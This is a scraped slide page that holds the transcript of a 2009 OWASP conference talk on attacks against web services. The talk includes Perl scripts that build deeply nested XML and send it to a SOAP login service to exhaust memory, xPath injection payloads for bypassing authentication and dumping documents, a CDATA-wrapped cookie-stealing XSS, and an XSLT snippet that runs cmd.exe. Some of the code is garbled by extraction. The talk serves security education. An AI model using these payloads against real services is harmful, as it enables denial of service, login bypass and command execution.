Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.

Slides:



Advertisements
Similar presentations
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Advertisements

Webgoat.
Other Web Application Development Technologies. PHP.
Overview Environment for Internet database connectivity
1/7 ITApplications XML Module Session 8: Introduction to Programming with XML.
XML: Extensible Markup Language
Hands-on SQL Injection Attack and Defense HI-TEC July 21, 2013.
UDDI v3.0 (Universal Description, Discovery and Integration)
Don’t get Stung (An introduction to the OWASP Top Ten Project) Barry Dorrans Microsoft Information Security Tools NEW AND IMPROVED!
Web Services Nasrullah. Motivation about web service There are number of programms over the internet that need to communicate with other programms over.
SOAP Quang Vinh Pham Simon De Baets Université Libre de Bruxelles1.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
WebGoat & WebScarab “What is computer security for $1000 Alex?”
Web Services and the Semantic Web: Open Discussion Session Diana Geangalau Ryan Layfield.
1 Introduction to XML. XML eXtensible implies that users define tag content Markup implies it is a coded document Language implies it is a metalanguage.
WEB SECURITY. WEB ATTACK TYPES Buffer OverflowsXML InjectionsSession Hijacking Attacks WEB Attack Types.
Grid Computing, B. Wilkinson, 20043a.1 WEB SERVICES Introduction.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
Peoplesoft: Building and Consuming Web Services
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike.
By: Shawn Li. OUTLINE XML Definition HTML vs. XML Advantage of XML Facts Utilization SAX Definition DOM Definition History Comparison between SAX and.
W3af LUCA ALEXANDRA ADELA – MISS 1. w3af  Web Application Attack and Audit Framework  Secures web applications by finding and exploiting web application.
 Cloud computing  Workflow  Workflow lifecycle  Workflow design  Workflow tools : xcp, eucalyptus, open nebula.
HTTP and Server Security James Walden Northern Kentucky University.
XML Overview. Chapter 8 © 2011 Pearson Education 2 Extensible Markup Language (XML) A text-based markup language (like HTML) A text-based markup language.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
DP&NM Lab. POSTECH, Korea - 1 -Interaction Translation Methods for XML/SNMP Gateway Interaction Translation Methods for XML/SNMP Gateway Using XML Technologies.
Lecture slides prepared for “Computer Security: Principles and Practice”, 3/e, by William Stallings and Lawrie Brown, Chapter 5 “Database and Cloud Security”.
Data File Access API : Under the Hood Simon Horwith CTO Etrilogy Ltd.
WS-Security: SOAP Message Security Web-enhanced Information Management (WHIM) Justin R. Wang Professor Kaiser.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web HTTP Hypertext Transfer Protocol. Web Terminology ◘Message: The basic unit of HTTP communication, consisting of structured sequence of octets matching.
International Telecommunication Union Geneva, 9(pm)-10 February 2009 ITU-T Security Standardization on Mobile Web Services Lee, Jae Seung Special Fellow,
RELATIONAL FAULT TOLERANT INTERFACE TO HETEROGENEOUS DISTRIBUTED DATABASES Prof. Osama Abulnaja Afraa Khalifah
WEB BASED DATA TRANSFORMATION USING XML, JAVA Group members: Darius Balarashti & Matt Smith.
XML Web Services Architecture Siddharth Ruchandani CS 6362 – SW Architecture & Design Summer /11/05.
Database Design and Management CPTG /23/2015Chapter 12 of 38 Functions of a Database Store data Store data School: student records, class schedules,
1 Welcome to CSC 301 Web Programming Charles Frank.
Application portlets within the PROGRESS HPC Portal Michał Kosiedowski
Beyond negative security Signatures are not always enough Or Katz Trustwave ot.com/
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
Web Technologies Interactive Responsiveness Function Hypertext Web E-Publishing Simple Response Web Fill-in Forms Object Web « Full-Blown » Client/Server.
Copyright 2009 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Deconstructing API Security
Representational State Transfer (REST). What is REST? Network Architectural style Overview: –Resources are defined and addressed –Transmits domain-specific.
1 G52IWS: Web Services Chris Greenhalgh. 2 Contents The World Wide Web Web Services example scenario Motivations Basic Operational Model Supporting standards.
Module: Software Engineering of Web Applications Chapter 2: Technologies 1.
Web Services An Introduction Copyright © Curt Hill.
Martin Kruliš by Martin Kruliš (v1.1)1.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
XML and Distributed Applications By Quddus Chong Presentation for CS551 – Fall 2001.
XML 1. Chapter 8 © 2013 Pearson Education, Inc. Publishing as Prentice Hall SAMPLE XML SCHEMA (XSD) 2 Schema is a record definition, analogous to the.
ArcGIS for Server Security: Advanced
Database and Cloud Security
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Sabri Kızanlık Ural Emekçi
z/Ware 2.0 Technical Overview
Node.js Express Web Services
What is REST API ? A REST (Representational State Transfer) Server simply provides access to resources and the REST client accesses and presents the.
XML in Web Technologies
CSC 495/583 Topics of Software Security Intro to Web Security
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Presentation transcript:

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP Attacks on Web Services Renaud Bidou CTO - R&D Manager DenyAll May, 6th 2009

OWASP 2 What are Web Services ?  Goal provide automated interactions between data and processes speed up business collaboration ease the interconnection of heterogeneous applications  Technologies Languages XML : The basement xPath, xQuery : SQL equivalents WSDL : Describes Web Services functions SAML, XACML : other stuff you don’t need to know for now Protocols Transport : HTTP Messaging : SOAP (SOAP = HTTP + XML)

OWASP 3 Web Services components  Actors Users : individuals using an abstraction interface Requesters : “Clients” of Web Services Intermediary : may process part of the request Providers : serve the request  Resources Registries : provides service description and access point Portal : Requester front-end for Users Communication : 100% SOAP based  Coordination Organizes process between multiple providers Orchestration : 1 service requests all others Choreography : multiple services request each other

OWASP 4 Security Standards Overview Most Commonly Implemented Usual Web Application Security Two Main actors : W3C and OASIS consortium Dozens of documents, standards and recommendations Hundreds of “MAY”, “SHOULD”, “IS (STRONGLY) RECOMMANDED” … XML & HTTP : Two standards, thousands of possibilities

OWASP 5 WS-Security highlights  XML Signature Signs all or part of an XML document Signed parts can be internal or external Data can be transformed prior to signing / validation  XML Encryption Encrypts all or part of an XML document Encryption key may be embedded in the document Encrypted with a key Which can be encrypted  WS-Security Additional Header + XML Signature (with constraints) + XML Encryption (with additional extensions) + Security Tokens to transport « claims »

OWASP 6 XML Parsers  Basics XML core component Interface to XML document Exposes the content of the document to a well specified API Two major specifications : SAX & DOM  SAX Parsers Lightweight Event-based document analysis Call handler functions when text nodes or PI are found  DOM Parsers More powerful Tree-based document analysis Creates a hierarchical representation of the document xPath friendly

OWASP 7 XML Injection Used to manipulate private XML content Usually performed via portals through the Web interface User John Doe Admin 1024 Mountain Street User editable fields can be accessed via the Web interface through forms Injection overwrites the “private” element

OWASP 8 Denial of Services Based on document complexity Or oversized documents Particularly efficient against DOM parsers  Create a document 1000 node depth … #!/usr/bin/perl open(DOS,">dos1.xml"); for(my $i=0;$i<=1000;$i++) { print DOS " "x$i." \n"; } for(my $i=1000;$i>=0;$i--) { print DOS " \n"; } close(DOS);  Upload it Nest it into a process element In a HTML form field (login…) In direct SOAP request  Let the parser do the job Requesting the element containing our “load” C:\Temp>perl xpath.pl dos1.xml //a1 Searching //a1 in dos1.xml... 1 found Out of memory! 1. Search 2. Store CPU Memory

OWASP 9 DoS Injection via SOAP Direct SOAP request with 1000 deep element Targeted to the Login service  Code  Example description #!/usr/bin/perl use LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->agent("SOAPDoS/1.0"); my $SOAPmsgStart=' '; my $SOAPmsgEnd=' muahahah '; my $SOAPmsgLoad; for(my $i=0;$i \n";} for(my $i=10000;$i>=0;$i--) { $SOAPmsgLoad.= " \n";} my $SOAPmsg=$SOAPmsgStart.$SOAPmsgLoad.$SOAPmsgEnd; my $SOAPreq = => ' $SOAPreq->content_type('text/xml;charset=UTF8'); $SOAPreq->content($SOAPmsg); $ua->request($SOAPreq);

OWASP 10 Injections Used to allow any kind of data to be contained into an XML document Data contained in field should not be analyzed of processed They are to be handled as-is by the parser  Detection evasion  Fields Can be used to evade intrusion detection engines A simple variant of old insertion techniques CRIP ]]> alert(document.cookie); CRIP ]]> alert(document.cookie);

OWASP 11 Basic xPath Injection Inject data to corrupt xPath expression Difficulty brought by the lack of support for inline comments  Authentication bypass example  The SQL equivalent Authentication based on the expression: //user[name='$login' and pass='$pass']/account/text() Inject $login = whatever' or '1'='1' or 'a'='b $pass = whatever Exploit AND precedence between predicates Expression becomes //user[name='whatever' or '1'='1' or 'a'='b' and pass=‘whatever']/account/text() TRUEORFALSE = TRUE

OWASP 12 XML Document Dump UNION like operator, but more flexible Performs sequential operations Takes advantage of the lack of access restriction within an XML document  Use in xPath injections  The | operator in xPath Item description query via xPath: //item[itemID=‘$id’]/description/text() Inject $itemID = whatever‘] | /* | //item[itemID=‘whatever Expression becomes //item[itemID=‘whatever‘] | /* | //item[itemID=‘whatever’]/description/text() Matches all nodes Require prior knowledge of expression

OWASP 13 Blind xPath Injection Published * by Amit Klein Makes it possible to retrieve a full XML document With no knowledge of the structure or xPath queries performed  Operating mode  Basics 1. Find a “standard” xPath injection 2.Replace the ‘1’=‘1’ predicate by an expression E which provides binary result 3.E is used to evaluate each bit: Of the name or value of an element The number of element of each type (element, text, PI etc.) * Blind xPath Injection – Amit Klein - Slow (Brute Force like attack) No PoC publicly available  Constraints

OWASP 14 DoS on SOAP SOAP is commonly described as HTTP + XML  Vulnerable to IP/TCP/HTTP DoS Very vulnerable to application floods Rarely designed to handle thousands of requests per second  Vulnerable to XML DoS  Anomalies  Common techniques Playing with headers is a good bet Depends on supported SOAP versions and their implementation SOAP can transport data external to its XML structure Becomes a MIME multipart message with first part of text/xml type Large attachments will cause CPU and/or memory exhaustion  SOAP attachments

OWASP 15 SOAP Message Replay SOAP is a message exchange protocol It does not implement session follow-up and control mechanism  There is no relationship between messages  Messages can be replayed at will  Message replay scenarios  SOAP is stateless Replay of captured authentication messages Replay of actions (money transfer, poker winning hand etc.) DoS…

OWASP 16 XSLT Transform Exploitation Explicitly identified by XML Signature recommendation, but optional Provides powerful formatting capabilities of external documents before signature  Issue  The XSLT Transform Most XSLT implementations enable system function calls Server to run executable code before during the signature validation Published * and demonstrated by Bradley W. Hill * Command Injection in XML Signatures and Encryption – Bradley W. Hill - XML Encryption uses tranforms in and Same impact  Use with XML encryption

OWASP 17 XSLT Transform PoC <xsl:stylesheet version="1.0" xmlns:xsl=" xmlns:rt= xmlns:ob=" exclude-result-prefixes= "rt,ob"> <xsl:variable name="command" select="rt:exec($runtimeObject,&apos;c:\Windows\system32\cmd.exe&apos;)"/> Malicious transform code

OWASP 18 Encryption Key Loop Extension of the type Contains a block Makes it possible to reference external key via  The Attack  Block Key A is encrypted with Key B Key B is referenced as external to the element Key B is encrypted with Key A Key A is referenced as external to the element Does not provide solution or workaround Only recommends to monitor resource usage…  Identified in the OASIS standard !!!

OWASP 19 Encryption Key Loop PoC No Way Out DEADBEEF I Said No Way I Said No Way xyzabc No Way Out

OWASP 20 Encryption Key Loop PoC No Way Out DEADBEEF I Said No Way I Said No Way xyzabc No Way Out Key1 Key2 Name of key used for encryptionName of the encrypted key Reference of the encryption key

OWASP 21 + The OWASP Top 10  XSS : Persistent XSS through data submitted  Injection flaws : XML/xPath Injections, SQL can also be injected if an element is used in an SQL query  File execution : RFI possible through references and tags point on server local files  Insecure direct object reference : same as above for external files  CSRF : same as XSS  Information leakage and error handling : server footprinting and the case  Broken authentication and session management : No authentication standard, no session management  Insecure cryptographic storage : nothing different from Web Apps  Insecure communications : SOAP is insecure by design  Failure to restrict URL access : same problem as for Web Apps

OWASP 22 QUESTIONS ?